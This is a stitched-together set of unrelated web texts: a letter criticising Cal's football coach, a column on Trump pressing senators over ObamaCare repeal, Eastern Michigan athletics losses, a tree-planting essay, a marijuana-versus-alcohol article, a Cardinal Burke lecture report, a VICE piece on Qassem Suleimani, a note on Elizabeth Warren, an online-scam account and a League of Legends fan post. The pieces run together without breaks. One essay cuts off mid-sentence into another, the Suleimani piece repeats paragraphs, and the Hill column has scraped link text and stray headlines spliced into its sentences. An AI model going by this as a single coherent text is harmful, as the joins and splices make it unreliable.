ardelgallo@orlandosentinel.comDear Coach Dykes,
As a former college baseball player, you should know that the worst thing you can do for team morale and effort is to blame your teammates for a loss and, worse yet, question their athletic ability as the reason for a loss. I watched your interview after the Stanford game and was thoroughly disappointed in the comments you made about certain position players being “not ready” and your generic questioning of the athletic ability of your players as the reason for a lack of tackling during games. How about coaching? How about blitzing the quarterback when you know you have inexperienced defensive backs? How about a game plan that involves something other than your three linebackers standing 15 to 20 yards down the field doing nothing while the opposing quarterback stands in the pocket indefinitely and picks out an inevitably open receiver?
Even more troubling were the articles I just read (which came out while you were courting other schools) indicating that staying at Cal was “not your first choice.” You need to make a decision. Either you commit to the job, commit to your players, commit to your coaching staff and commit to taking responsibility, or you move on … or should I say, move back to where you came from. Cal has given you an incredible opportunity to be a Pac-12 coach at the No. 1 public university in the world. Perhaps you should focus on deserving that opportunity.
Neil Cummings is a UC Berkeley graduate from the class of 1974.President Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE sought to strong-arm Senate Republicans into passing ObamaCare repeal-and-replace legislation on Wednesday in an attempt to turn the weight of his office into impetus for action.
Trump made progress of a kind, appearing to at least force Senate Republicans to make another run at repealing and replacing the Affordable Care Act (ACA), also known as ObamaCare.
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That legislation had appeared politically dead just one day before.
First, GOP Sens. Mike Lee Michael (Mike) Shumway LeePush to end U.S. support for Saudi war hits Senate setback The Hill's Morning Report — Emergency declaration to test GOP loyalty to Trump The Hill's 12:30 Report: Trump escalates fight with NY Times MORE (Utah) and Jerry Moran Gerald (Jerry) MoranThe Hill's Morning Report — Emergency declaration to test GOP loyalty to Trump The Hill's 12:30 Report: Trump escalates fight with NY Times The 10 GOP senators who may break with Trump on emergency MORE (Kan.) joined colleagues Susan Collins Susan Margaret CollinsHouse to push back at Trump on border Hillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators GOP Sen. Tillis to vote for resolution blocking Trump's emergency declaration MORE (Maine) and Rand Paul Randal (Rand) Howard PaulThe Hill's Morning Report — Emergency declaration to test GOP loyalty to Trump The Hill's 12:30 Report: Trump escalates fight with NY Times The 10 GOP senators who may break with Trump on emergency MORE (Ky.) in opposing the legislation being pushed by Senate Majority Leader Mitch McConnell Addison (Mitch) Mitchell McConnellHouse to push back at Trump on border Democrats block abortion bill in Senate Overnight Energy: Climate protesters storm McConnell’s office | Center-right group says Green New Deal could cost trillion | Dire warnings from new climate studies MORE (R-Ky.).
Then, several senators also came out against a “Plan B” that would have involved repealing the ACA first and coming up with a plan to replace it at a later date.
Trump himself had urged Republicans to take up repeal-and-delay legislation, but changed his tune during a lunch with senators at the White House on Wednesday, where he warned them against abandoning the original bill.
The president appeared to scold Sen. Dean Heller Dean Arthur HellerTrump suggests Heller lost reelection bid because he was 'hostile' during 2016 presidential campaign Trump picks ex-oil lobbyist David Bernhardt for Interior secretary Oregon Dem top recipient of 2018 marijuana industry money, study finds MORE (R-Nev.), who sat beside him, saying the Nevadan “wants to remain a senator.” Heller had been among the Republicans holding out against the McConnell legislation.
Trump also called on the senators to cancel their August recess in an effort to get some kind of healthcare legislation across the finish line.
“We shouldn’t leave town until this is complete,” he said at the lunch. “We should hammer this out and get it done.”
Trump also struck an ominous note for any GOP senator who might vote against a motion to proceed on the legislation, saying that doing so was tantamount to support for ObamaCare.
Republicans have promised to repeal former President Obama’s signature domestic achievement since the law was passed seven years ago.
But the outlook for the current effort remains cloudy. There has been no immediate sign that the quartet of senators who expressed opposition to the McConnell legislation will shift their position, and it’s unlikely that they are the only holdouts.
White House legislative affairs director Marc Short told reporters in the White House briefing room on Wednesday that “inaction is not an option.” He said there would be a meeting on Capitol Hill on Wednesday evening to try to win over recalcitrant Republican lawmakers.
CNN also reported that Trump loyalists Corey Lewandowski and David Bossie had been dispatched to add some extra muscle to the effort on Capitol Hill. Lewandowski was Trump’s first campaign manager. Bossie was deputy campaign manager in the final months of the presidential campaign.
Trump is desperate for a win on healthcare, having achieved no significant legislative achievement in his first six months in office despite the GOP holding majorities in both chambers of Congress.
The healthcare push has taken up enormous amounts of time and energy, burning through Trump’s political capital while delaying action on other issues such as tax reform and infrastructure investment.
When asked about their achievements, Republicans almost always emphasize Trump’s executive actions on issues from deregulation to immigration, which do not require congressional approval. They also highlight the successful confirmation of Judge Neil Gorsuch to the Supreme Court, the one bright spot in terms of cooperation between the White House and the GOP Congress.
Republican strategist John Feehery, who is also a columnist for The Hill, suggested that Trump’s inherently unorthodox approach to politics — and lingering tensions between him and the GOP establishment — was partly to blame for the lack of larger progress.
Republicans find Trump personable on an individual basis, Feehery said, “but politically it is much more fraught — because he is unpredictable, he makes all kinds of off-color comments. He is not really a politician. And Republican donors don’t really like him.”
The upshot, the strategist added, was that GOP lawmakers “like it when they are in meetings with him. Outside of the meetings, they are confused.”
The dynamic between Trump and congressional Republicans is also complicated by his low approval ratings. Trump’s approval rating is just under 40 percent in the RealClearPolitics polling average, although he remains largely popular with the GOP base.
Trump is far from alone in having difficulty enacting his agenda. Obama got the ACA passed by a narrow margin after a tumultuous, yearlong process, and failed to enact cap-and-trade climate legislation. Former President George W. Bush’s bid to reform Social Security failed. Former President Clinton made his own run at healthcare reform, which went nowhere.
“I don’t think this looks all that unusual,” said Grant Reeher, a professor of political science at Syracuse University. “Presidents often have trouble getting things, even with [majorities for] their own party.”
Reeher also pointed to a broader trend of polarization, which, he said, has made bipartisan progress on almost any big issue very challenging.
“The two parties are very close in number — it’s a very even split — and they are polarized,” Reeher said. “Those things tend to reinforce each other, make it harder to work across the aisle, which makes it harder to pass any big bill.”
Those historical precedents will be little comfort to the president, however — unless his final roll of the dice pays off.
The Memo is a reported column by Niall Stanage, primarily focused on Donald Trump’s presidency.Chris Creighton’s football program has lost big, on the field and at the bank. Eighty percent of its financial support comes from the university. (Photo: John T. Greilick / Detroit News)
Ypsilanti — Eastern Michigan’s athletic department lost $52 million the last two years, and ranks last in Division 1 football attendance according to an HBO Sports investigation.
The report appeared during a “Real Sports” segment that aired Tuesday.
Eastern Michigan athletic director Heather Lyke, however, doesn’t know how HBO Sports came up with $52 million, especially since she said no reporters talked to her about the story.
“I’m not sure where those figures came in,” Lyke said Wednesday. “They didn’t ask to meet with me or talk to me so I don’t know where those loss numbers are.”
Lyke, however, said the university will remain Division 1 in all sports.
“You face the challenge with a strong belief in what you’re doing,” Lyke said. “I came to Eastern Michigan because I believe it’s a place where you can have great success. I believe in the people we’ve brought on board and I believe in our vision and I’ve certainly have been a part of longstanding success at other places (she was previously at Ohio State) so I know what it looks like and I know what it takes.
“There’s no question the competitiveness is not where we need it to be (for football), but again we believe in what we’re doing and we’re working really hard to make a change and it takes some time. We’re building it the right way as well. A winning season, there is no question it’s important and no question our coaches, student-athletes, incoming recruits are focused on it. What we’re looking for is progress.”
USA Today reported Eastern Michigan’s athletic department’s budget at $33.9 million, with 80 percent coming by the way of institutional support.
The low attendance at football games — the average was 4,896 last season — could, in part, be attributed to Eastern Michigan’s last winning season being 1995. The last time it won a Mid-American title or played in a bowl was 1987.
Mike Morris, chairman of the Eastern Michigan University Board of Regents, agreed with Lyke on the state of the program.
An an Eastern Michigan alum, he said they will continue to play football at the Division 1 level regardless of what any other regent says.
“We have always asked the athletic department to do a better job of managing their own costs and raising their own funds and they continue to be good on both of those equations, but there has been no serious discussion whatsoever by the entirety of the board about moving to a Division II class in football,” Morris said.
“When you look at our athletic program, some of them are dominating the MAC, like track, both men and women, indoor and outdoor, the basketball teams have played well, the golf teams do well, swimming, both men and women. We’ve just been challenged in football for a long time.”
david.goricki@detroitnews.com
twitter.com/DavidGorickiBY: SYDNEY MCINNIS
Peel eyes open. Scream various profanities at whichever comrade is shaking my tent to wake me up at 5 a.m. De-mummify myself from my ferociously-wrapped sleeping bag. Shed a few tears at the freezing air that pierces the pores of my sore skin. Finally, take a breath and tell myself to shut the fuck up and go plant some trees.
This is how most mornings at bush camp went.
Seemingly, tree planting is torturous and impossible for the average folk. Deciding to accept my job offer after nervously applying was beyond intimidating, seeing as I certainly fit into the “average folk” category.
I decided to embark on my tree planting journey in North Western Ontario this past spring for several reasons:
-I really needed to kill some of my amalgamating student debt and heard that you could make a lot of money in the bush in a short amount of time. I moved to Toronto last year with no saved money whatsoever, just some serious access to O.S.A.P. funds |
three years. In the meantime, he’s working to adapt his system for children. As for Sanchez, even if he acquires a Phoenix of his own, he still imagines that most of his day will be spent in a wheelchair, because he finds it so practical. But the exoskeleton has another big benefit besides mobility alone. It breaks what he calls the “bubblish” experience of his chair, a literal and figurative perimeter around him that makes people afraid to approach him and constantly apologize for being in his way, even when they aren’t. “Having that separation is pretty damaging on all sorts of spiritual levels,” Sanchez says. “Having the ability to come up and hug someone, without bending over or feeling awkward because of the wheelchair, it’s a huge difference in life.”Alcohol Is More Than Twice As Harmful As Marijuana: Study
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Alcohol causes far more damage to users and to society than does the use of marijuana, according to a 2011 study published online in the Journal of Psychopharmacology, the journal of the British Association of Psychopharmacology.
Researchers at the Imperial College of London looked at “the relative physical, psychological, and social harms of cannabis and alcohol,” reports Paul Armentano at AlterNet. They determined that marijuana smoking, particularly longterm, does some harm to the lungs and circulatory system, and increases certain mental-health risks (which is debatable).
But in contrast, the authors described alcohol as “a toxic substance” responsible for almost five percent “of the total global disease burden.”
“A direct comparison of alcohol and cannabis showed that alcohol was considered to be more than twice as harmful as cannabis to users, and five times more harmful as cannabis to others (society),” investigators determined. “As there are few areas of harm that each drug can produce where cannabis scores more [dangerous to health] than alcohol, we suggest that even if there were no legal impediment on cannabis use, it would be unlikely to be more harmful than alcohol.”
“The findings underline the need for a coherent, evidence-based drugs policy that enables individuals to make informed decisions about the consequences of their drug use,” the researchers concluded.
The findings are underlined by a 2011 study, almost completely ignored by mainstream media, showing alcohol use increases lung cancer risk by 30 percent.
Alcohol use causes an incredible four percent of all deaths worldwide — more than AIDS, tuberculosis, or violence — according to a February 2011 report from the World Health Organization.
And a 2011 study in the American Journal of Preventive Medicine found that in the U.S. alone, an estimated 79,000 lives are lost annually due to “excessive” drinking. The study estimates that the overall cost of excessive drinking by Americans is $223.5 billion each year.
Health-related costs per user are eight times higher for those who drink alcohol when compared to those who use marijuana, and are more than 40 times higher for tobacco smokers, according to a 2009 review published in the British Columbia Mental Health and Addictions Journal.
“In terms of [health-related] costs per user: tobacco-related health costs are over $800 per user, alcohol-related health costs are much lower at $165 per user, and cannabis-related health costs are the lowest at $20 per user [italics added],” the investigators concluded.
Much of the evidence showing that the risks of marijuana are small compared to those associated with alcohol is covered in the excellent book Marijuana Is Safer: So Why Are We Driving People To Drink?, coauthored by Armentano with Steve Fox and Mason Tvert.
Given all the evidence of the enormously higher cost of alcohol use than cannabis use to society, you may be wondering why it’s considered socially acceptable for everyone from the President on down to be seen drinking a beer, yet smoking a joint is considered a big deal.
And guess which one is against federal law?NewsCatholic Church
LENEXA, Kansas, February 17, 2017 (LifeSiteNews) – The façade of Cardinal Raymond Burke as a boogeyman of tradition projected by his critics and the media was nowhere to be found last Friday when he gave his usual clear witness to the Catholic faith before an overflow crowd in the Kansas City area.
Cardinal Burke delivered a stirring, clear message on defending the Catholic faith amid the current confusion in the Church that was embraced with resounding gratitude by more than 1,500 who flocked to St. James Catholic Academy.
Many had come from various parts of Kansas and surrounding states to hear his talk entitled “The Challenges to the Defense of the Faith in Our Times” at the Kansas City region of the Knights of Malta’s Defense of the Faith Lecture.
A faith leader in demand
Cardinal Burke’s appearance for the Kansas City Knights of Malta was largely unpublicized in the midst of the tempest in Church hierarchy. Yet it took off on social media in the weeks leading up to the event, resulting in the extraordinarily high turnout, and thousands watching on Facebook Live.
“It really had a life of its own,” said Dr. Paul Camarata, who is with the Kansas City Knights of Malta.
“We were thrilled with the response of the faithful to the event,” Camarata said, “with over 1,500 in attendance Friday night and 4,500 watching online and with almost 10,000 views of the video total since on Facebook.”
Camarata headed the Knights’ committee overseeing the chapter’s Defense of the Faith Lecture. He told LifeSiteNews that preparations began almost a year ago, but once word got out that Cardinal Burke was coming, interest escalated exponentially, all in a matter of a few weeks.
“Our committee considered several speakers who might be appropriate for the lecture,” he stated. “However, we knew we had one of the most eminent defenders of the faith, who happened to have a very special role in the Order — Cardinal Burke, the Cardinal Patron of the Order. Who better to ask to give a Defense of the Faith talk than the Cardinal Patron of the Order!”
Cardinal Burke’s visit to give the lecture for the local Knights of Malta coincided with his celebrating the White Mass for the Kansas City Catholic Medical Association (CMA) and numerous other appearances over several days.
Camarata, who is also a member of the local CMA, had a hand in getting the cardinal to and from the various local events, and he said it was an amazing time for him personally.
“The outpouring of support was really amazing,” Camarata told LifeSiteNews. “To see how many people love him and support what he’s doing for the Church.”
Camarata told LifeSiteNews that Knights and Dames in other regions of the order were incredibly impressed with the event and Cardinal Burke, and Camarata has received numerous messages from them about it.
“When we mentioned to local Knights and Dames the thought of inviting His Eminence, they were thrilled and excited to host him,” he said. “In fact, we have received notices in advance, with virtually no marketing, from Knights, Dames, and other interested faithful that were coming from many neighboring states including Iowa, Nebraska, Arkansas, and Oklahoma, in addition to, of course, Kansas and Missouri.”
President of the Knights of Malta Federal Association, U.S.A. Margaret Melady and executive director Deacon Michael Stankewicz were in attendance for the lecture, as was the local ordinary Kansas City, Kansas, Archbishop Joseph Naumann.
“I even received an email from a Knight in Germany who found out about the event!” exclaimed Camarata. “There were Knights from Minnesota and Pennsylvania who expressed their wishes to be able to attend.”
Our faith is in God
The cardinal took questions after his talk. In response to one, he said that despite the tremendous confusion in society and the Church, our faith must not be shaken and must remain fixed on Christ.
“Our faith does not depend on one person or another person,” Cardinal Burke said. “We pray that those who are clergy and our fellow Catholics are strong and witnesses to Christ, but people fail. But that doesn’t destroy our faith.”
Asked what he would say to a convert who feels betrayed that what is written in the Catechism does not at times seem to be the belief system of clergy and laity today, the cardinal told those in attendance that Catholics have the testimony to the faith from the Catechism and the discipline of the Church in the Code of Canon Law.
“There is no question we’re living through a time in which there is a tremendous amount of confusion, not only in society, but also within the Church itself,” he responded, saying he often encounters frustrated individuals who are beginning to question their Catholic faith.
This could be particularly difficult for those who have come into the Catholic Church, the cardinal said, because they saw in the Church fidelity to the truth of Christ handed down through the apostolic tradition. And his response is always that our faith does not depend on any one person. Although there’s a great temptation to be discouraged because of the erroneous or confused statements by clergy or fellow Catholics, Cardinal Burke reminded the crowd that St. Paul encountered this in the first preaching of the faith.
“You always have people who think they know better than the Church, or who want to use the Church for some other purpose,” he said.
“St. Paul was very strong. Even if an angel from heaven announced to you something different from what I’ve taught you or what you’ve been taught in the Church (he said), 'Anathema sit.' In other words, the angel is an anathema, is excommunicated.”
“So that’s what we have to keep in mind,” Cardinal Burke continued. “Our faith is in our Lord Jesus Christ, who’s alive in the living Tradition of the Church. “And He safeguards that through the apostolic tradition. We find that expressed in the Catechism and the Code of Canon Law for the discipline of the Church.”
Educating in the faith and forming conscience
Asked in the Q&A whether an erroneous conscience leads to salvation, Cardinal Burke responded, “No in fact, it can’t. It leads in fact to just the opposite.”
And this is, as he had also pointed out in his lecture, why it’s so important for Catholics to educate their children and young people, and to educate themselves.
If our consciences are not well formed according to the truth of Christ, he said, there is the danger so prevalent today of conscience being abstracted from objective truth.
Fundamental issues
Regarding voting for a pro-choice or a pro-abortion candidate, Cardinal Burke said Catholics need to look for is the candidate who is sound on fundamental issues.
“Human life, the family, religious freedom, freedom of education,” he said. “Those are the fundamental issues. But the first has to be the safeguarding and protection of human life itself.”
“We tend to abstract politics from our Christian faith, and that is really lethal,” the cardinal continued. “Politics has to be informed — and as the Holy Father (Pope Benedict) said, purified and elevated — by our Christian faith. And that means also in the way we vote.”
This response and other answers to questions garnered fervent applause in addition to a lengthy standing ovation at the end of the presentation.
Persevering in faith
Cardinal Burke’s lecture in the Kansas City area came just before the former head of the Church’s highest court was sent to Guam to preside over a Church trial investigating sexual abuse charges against Agana Archbishop Anthony Apuron.
It also follows weeks of turmoil within the highest levels of the Sovereign Military Order of the Knights of Malta and the Vatican, before Cardinal Burke being effectively sidelined as the cardinal patron of the order by Pope Francis.
The pope’s appointment of a special delegate to the Knights of Malta is seen as rejoinder to the dubia submitted by Cardinal Burke and three other cardinals last November seeking clarification on the pope’s Amoris Laetitia document.
Amoris Laetitia has created widespread confusion on whether the Church has abandoned its teaching on marriage and opened the door to those living in non-marital unions to receive Communion. The pope has remained silent on the issue.
Cardinal Burke referenced the Catechism, the Second Vatican Ecumenical Council and teachings from Popes Benedict XVI, Saint John Paul II and Paul VI in addressing the crisis of Christian culture, reason and faith related to objective moral principles. The cardinal also talked about holiness in a totally secularized world and the new evangelization, and holiness related to witnessing to the truth on human sexuality. And he spoke about “the critical service” of parents as primary educators of their children.
Response from the faithful
A number of Catholics present for the Defense of the Faith Lecture shared their reaction with LifeSiteNews.
“I liked it,” said Jacob Villotti, of Garden City, Missouri, roughly 60 miles southeast of Lenexa. “His witness is unwavering, his fidelity to the faith, and the traditions of the Church.”
Murphy Obershaw, a senior at St. James Academy, said she thought the talk was good, especially the cardinal’s emphasis on prayer in daily life.
“It gave me something to think about” making more time for prayer, Obershaw told LifeSiteNews. “I thought that it was a good thing that he has this whole prayer campaign going on. I need to pray more often.”
Jeremiah Martell, 19, of nearby Bonner Springs, Kansas, said, “He basically told us stuff I already knew, and just put it in a more concrete way.”
“It was very impressive,” stated Jeanette Inglin, 19, of DeSoto, Kansas, 15 miles west. “It gives us courage to go on, knowing that Cardinal Burke defends the faith. He’s just very admirable. I liked it a lot.”
Joe Meyers, 16, of Bucyrus, Kansas, said that even though he came with his parents, “I would have come anyway. I knew he was a pretty solid cardinal.”
Camarata summed up the impact of the event.
“It will be hard to match the success of this event, which is just a testimony to how eager the Catholic faithful are to hear how to best live out our faith,” he said.
The entire lecture can be found here.The Islamic State has recoiled in the face of a US-led bombing campaign coupled with Kurdish and Iraqi offensives, but still controls large portions of Iraq and Syria.
"Given the heavy defeats that the ISIL and other terrorist groups in Iraq and Syria have sustained, we are sure that these groups are nearing the end of their life," Suleimani declared at a ceremony commemorating the Iranian Revolution on Wednesday, referring to an alternative name for the Islamic State, which is also known as ISIS and by its Arabic acronym Daesh.
Maj. Gen. Qassem Suleimani, chief of the Quds Force, Iran's elite special-ops intelligence outfit, made an uncharacteristically high-profile entrance to the conflict in Iraq last summer after the Islamic State seized vast stretches of the country and declared a dubious "caliphate." With Iraq's army in disarray, Shia militias under his control are now at the forefront of the ground battle being waged against the militants, and Iran's semi-official news agency Fars has promoted his assertion that the extremist group is weakened and approaching demise.
Rare remarks delivered this week by the secretive, high-ranking Iranian commander coordinating the fight within Iraq against the Islamic State have highlighted Iran's role in the military campaign against the terror group — and heightened unease about the authority being exercised by a person US officials accuse of leading a covert war against its interests.
Read more
Rare remarks delivered this week by the secretive, high-ranking Iranian commander coordinating the fight within Iraq against the Islamic State have highlighted Iran's role in the military campaign against the terror group — and heightened unease about the authority being exercised by a person US officials accuse of leading a covert war against its interests.
Maj. Gen. Qassem Suleimani, chief of the Quds Force, Iran's elite special-ops intelligence outfit, made an uncharacteristically high-profile entrance to the conflict in Iraq last summer after the Islamic State seized vast stretches of the country and declared a dubious "caliphate." With Iraq's army in disarray, Shia militias under his control are now at the forefront of the ground battle being waged against the militants, and Iran's semi-official news agency Fars has promoted his assertion that the extremist group is weakened and approaching demise.
"Given the heavy defeats that the ISIL and other terrorist groups in Iraq and Syria have sustained, we are sure that these groups are nearing the end of their life," Suleimani declared at a ceremony commemorating the Iranian Revolution on Wednesday, referring to an alternative name for the Islamic State, which is also known as ISIS and by its Arabic acronym Daesh.
Related: Publicity Blitz Hypes Iran-Backed Offensive Against Islamic State in Iraq
The Islamic State has recoiled in the face of a US-led bombing campaign coupled with Kurdish and Iraqi offensives, but still controls large portions of Iraq and Syria.
Suleimani's visibility at the ceremony was the latest in a string of notable public appearances by the general, who is widely described as a shadowy and mysterious figure. Since last summer, Suleimani has been photographed meeting with Kurdish peshmerga fighters in Irbil and alongside high-ranking members of Iraqi Shia militias. Many of the pictures have been widely shared on social media.
Qassem Suleimani with a group of peshmerga fighters in Kurdistan Photograph—???????/#???...??_?????... (@Forat1352)December 8, 2014
The extent of Iran's troop presence in Iraq is unclear, but the deaths of several high-level military officials have been reported in Iran. Earlier this week, it was reported that Reza Hosseini Moghadem, a commander in Iran's Islamic Revolutionary Guards Corps, was killed on February 7 during fighting with the Islamic State in Samarra. In December, the Pentagon reported that Iran's air force had launched raids in Iraq's eastern Diyala province, but denied that the two countries were coordinating against a common enemy.
The US has reason to be wary of Suleimani. The Quds Force is the international wing of the Revolutionary Guards, responsible for clandestine foreign intelligence gathering and security actions abroad.
For decades, the general has helped foster Iraq's Shia militias, notably the Badr Brigade, which was first established in Iran. After the US invasion of Iraq in 2003, Iran-backed militias waged deadly and long-running battles with American troops. US officials believe the Quds Force itself was directly responsible for supplying the militias with advanced explosive devices that could pierce the armor of US vehicles, claiming the lives hundreds of American soldiers during the occupation.
Related: Militias Fighting the Islamic State in Iraq Are Accused of Terrorizing Civilians
Suleimani is also suspected of helping to plan prominent attacks in several countries. In 2011, an Iranian agent was caught allegedly attempting to hire a Mexican cartel to assassinate Saudi Arabia's ambassador to Washington, DC. A contact at the purported cartel was in fact an American DEA agent, and the bizarre plot to blow up the ambassador at a restaurant near the White House was foiled.
This history of international subterfuge and support of anti-American militias has raised uncertainty about the strategic alignment of a post-Islamic State Iraq — one in which Iran would likely enjoy even greater influence than before.
Ariane Tabatabai, an associate at Harvard University's International Security Program, noted that Suleimani's public relations campaign, which coincided with the capture of Mosul by the Islamic State in June, has also sought to assuage the more immediate concerns of Iranians, many of whom saw the group as a mortal threat to Iran.
"Essentially, it is for a domestic audience," she told VICE News. "Over the summer, you could hear people saying ISIS is at the gates of Tehran."
Related: On the Frontline with an Iraqi Shia Volunteer Force Fighting the Islamic State
Iran and Iraq fought a brutal eight-year war during the 1980s, a conflict that lingers in the minds of many in the Islamic republic. Most Iranians are Shia Muslims, a group brutalized by the radical Sunni militants of the Islamic State, who consider them infidels. Iran, meanwhile, has played up its part in the defense of holy Shia cities like Najaf and Karbala in Iraq.
Though Iran's intervention in a neighboring conflict addresses real security threats, it also serves to portray it as an indispensable (if unconventional) ally for the West in the Middle East.
"The campaign without a doubt tells the US that you need us," Hossein Askari, professor of international affairs at George Washington University, told VICE News. "Iran obviously has a lot of boots on the ground and it can send more, unlike the US, where recent wars have made them more unpopular."
That stance, he said, serves Iran during ongoing negotiations to determine the fate of its nuclear program. Western sanctions over the program, coupled with plummeting oil prices, have sent the Iranian economy into free fall, and Askari believes relatively moderate officials within the Iranian government are keen to resolve the impasse.
"When [Iranian President Hassan] Rouhani was running for election, he told the people he would get rid of sanctions and deliver economic prosperity," he said. "The Iranians want a deal, they want the sanctions lifted."
According to Askari, while Iranian citizens are sometimes wary of much-needed resources being sent to support the Lebanese militia Hezbollah, embattled Syrian President Bashar al-Assad, or Houthi rebels in Yemen, they are less likely to criticize involvement in Iraq, where they see more at stake.
Related: Caught Between the Islamic State and Shiite Militias, Gays Are Dying in Iraq
In Wednesday's speech, Suleimani said that in contrast to Iran's gains in Iraq, US interventions, along with "the terrorist acts of the ISIL are doomed to failure because they are not in a quest for truth."
"We have all witnessed in Syria that the measures they adopted did not produce any fruit [for them]," he told the crowd.
Though rarely acknowledged, American officials have conceded that the two countries' interests overlap in Iraq — even as the US relies heavily on support from its traditional Arab allies in the region. Foremost among them is Saudi Arabia, which is seen as Tehran's principal foe in a tussle over influence.
"I think it's self-evident that if Iran is taking on ISIL in some particular place, and it's confined to taking on ISIL and it has an impact, its net effect is positive," Secretary of State Kerry told reporters in December. "But that's not something we're coordinating."
Iran's aims are broader than defeating the Islamic State, according to Suleimani.
"Today we see signs of the Islamic revolution being exported throughout the region, from Bahrain to Iraq and from Syria to Yemen and North Africa," he said.
Follow Samuel Oakford on Twitter: @samueloakfordBOSTON (AP) — U.S. Sen. Elizabeth Warren says Republicans will be to blame for every future Supreme Court decision that narrowly sides with big business at the expense of workers.
The Massachusetts Democrat made the comment in a series of tweets Thursday after Republicans voted to change Senate rules to ease the confirmation of President Donald Trump’s Supreme Court nominee Neil Gorsuch.
Warren, who opposed Gorsuch, tweeted that the “GOP will be responsible for every 5-4 decision that throws working Americans under the bus to favor the powerful, moneyed few.”
Warren says that also applies for every 5-4 decision that “opens the floodgates even more to secret spending in our political system,” or attacks “women’s rights, voting rights, LGBT rights, & freedom of speech & religion.”
Warren is seeking re-election next year.The internet has made our lives super easy. From television sets to groceries, we can get anything in just a couple of clicks. Buying and even selling has become easy. But what happens when a simple exchange of money turns out to be a scam? What do you do when you get robbed online?
Ever since we've started using the internet extensively, fraudsters have creepily lurked on it. From mails that tell you about how you won a jackpot to messages asking for help, fraudsters have it all covered. Most of us understand this now and happen to be more careful. Which is why they've found new ways to scam us.
Velpuri Pavithra wanted to sell a stroller online and even got a response from a buyer. However, the buyer made a transfer to her that seemed quite fishy.
Read her story in her own words to know how it works:
"It has been two months since I put up an Ad on OLX mentioning that I would like to sell Desh’s stroller. Somehow, I didn’t find a customer who would pay anywhere close to what I had quoted. I had almost forgotten that the Ad was up as there was no activity on the Ad. A couple of days ago, I received message on the website’s chat messenger asking if it was still available. I replied saying it was still available and the person agreed to pay the quoted amount. I didn’t hear from him for a day. He called up this morning.
He introduced himself as Vishal and told me that he likes the pram and wants to buy it. He said that he lives in Mumbai and he wants to buy it for her sister who lives in Pune and it is a surprise. (In my head, I went “How sweet of an uncle to do this to his niece/nephew”).
He offered to make an online transfer to my account and said that his sister would come and collect it tomorrow. On asking for his mail id for sending the details, he asked if I could share my account details on WhatsApp. I did. Within 3 minutes of me sharing the details, I received an SMS from one of these 5 digit numbers (like 59444) saying my account has been credited with 13,500 while the money that had to be transferred was 3,500.
I was not sure what was happening. I pinged this person on WhatsApp to check what had happened. He said it was done by mistake. He portrayed as if it was a transfer that was intended to reach his mom and requested me to transfer 10K. He said it was urgent, he had to send it to his mom who was waiting at a hospital to pay the bill.
When I asked for his account details, he asked if I could transfer through Paytm to his mom’s number. I agreed though I sensed something was fishy. For a moment before I transferred, I wanted to check my account online and not trust the SMS. I found that there was no money transferred. I called my bank’s customer care to check if there is a possibility for such a quick transfer within three minutes. He asked me to check the transfer mode( NEFT or IMPS).
In either of the cases, it would take at least 2 hours for a transfer to happen, is what the personnel informed.
As I kept talking to the customer care, I kept receiving messages from Vishal saying it is urgent and his mom is waiting for the money. I told him that I didn’t receive the money. I called him up to tell that it would take two hours for the transfer to happen, even if he had transferred, check what he was up to, asked him which bank he transferred from, etc. He said ICICI, figured that I was probing and hung up the call.
I called him 3-4 times after that and his number was busy. It took me a while to digest that I was on the verge of getting tricked and the convoluted nature of the trick shook me quite a bit.
Until I sat to key in this post, I kept giving myself that benefit of doubt that he does have a sister and he wants to buy the stroller for her baby and his mom isn’t in trouble. In the hindsight, it dawned on my mind that no bank would allow a transfer until at least half an hour after adding the beneficiary. Had it occurred to me when I received the credit SMS, I wouldn’t have fallen for that mom sentiment for 10 more minutes.
I received a call from him after two hours which I chose to ignore. Sent him a message on WhatsApp saying ‘I didn’t receive any money in my account. Hope you stop tricking people into traps like these. I really wish you had a sister and you wanted to buy it for her son/daughter. Also, I wish your mother doesn’t fall sick and stand in a hospital queue waiting for 10,000 rupees from you’
Here are the numbers that I received calls from and was asked to transfer money to.
Call :+91 9967957477
Paytm: +91 8948413565"
Internet has made things easy for us but it has also made things easy for fraudsters. It is sad how they try to fool people emotionally and dupe them.
However, that is the exact reason we need to be more vigilant. Be careful before you make any transaction online. If you sense something even slightly fishy, do not go through with it. And if you've fallen into a trap, make sure you register a complaint here.
Let this woman's story be a lesson to be extremely careful of the new ways fraudsters are using to dupe people.There’s one burning question on my mind when it comes to League of Legends.
Not “Who is the most underrated top laner in Djibouti?” or “What are the odds that Team Schwifty beats Team SmegmAIDS on account of a roster change at the Wisconsin Truffle Butter Finals?”
Interesting questions, sure. But what I really wanna know is: Who is Helmet Bro?
Yes, that little guy you see on all the Summoner spell icons.
And in myriad official Riot Games videos and art pieces. The man’s got a bit of a cult following. Fans have dubbed him Marrak Helmen; they’ve devised their own lore and rules for him based on that one video, for cryin’ out loud. Such intriguing celebrity brings about equally intriguing questions:
Should Helmet Bro be the subject of such adulation?
Is he really some unyielding hero that somehow makes it out alive time and time again in the face of certain death?
Are there a legion of Helmet Bros all identical in appearance and demeanor like Nurse Joy from of Pokemon fame?
Or is he merely a placeholder? A human extra that Riot trots out in facsimile form to glorify the spotlighted Champion and take a beating like the League of Legends equivalent of a Star Trek Redshirt or a pro-wrestling jobber?
First, let’s take a look at what might be this polarizing figure’s most renowned appearance:
First Contact
The League of Legends video where most players took notice of Helmet Bro was in “Vel’Koz: First Contact.”
Helmet Bro is able to dodge Vel’Koz’ first energy attack only to be caught beneath the swell of an impending Mind-Flay, a look of horror stamped onto his face. Surely, there’s no way he survived such a gruesome fate… is there?
Absurd Durability? Or Many Demises?
That’s when League of Legends fans started noticing Helmet Bro’s past encounters. He can be seen here taking on the immense Malphite with some of his comrades:
And then in a more precarious spot with Sion:
Sure looks like an enormous, undead juggernaut about to stomp a mudhole into Helmet Bro as seen through Marrak’s point of view — judging by the shape of the helm outline, doesn’t it? That’s because it is — a fact confirmed by Riot in the League of Legends subreddit.
Alright, fine. Helmet Bro somehow survived that Sion-stomping by the skin of his gonads. People less resilient than Helmet Bro have gotten lucky in the face of death, right? The Kog’Maw splash portrays a scenario even more disconcerting though:
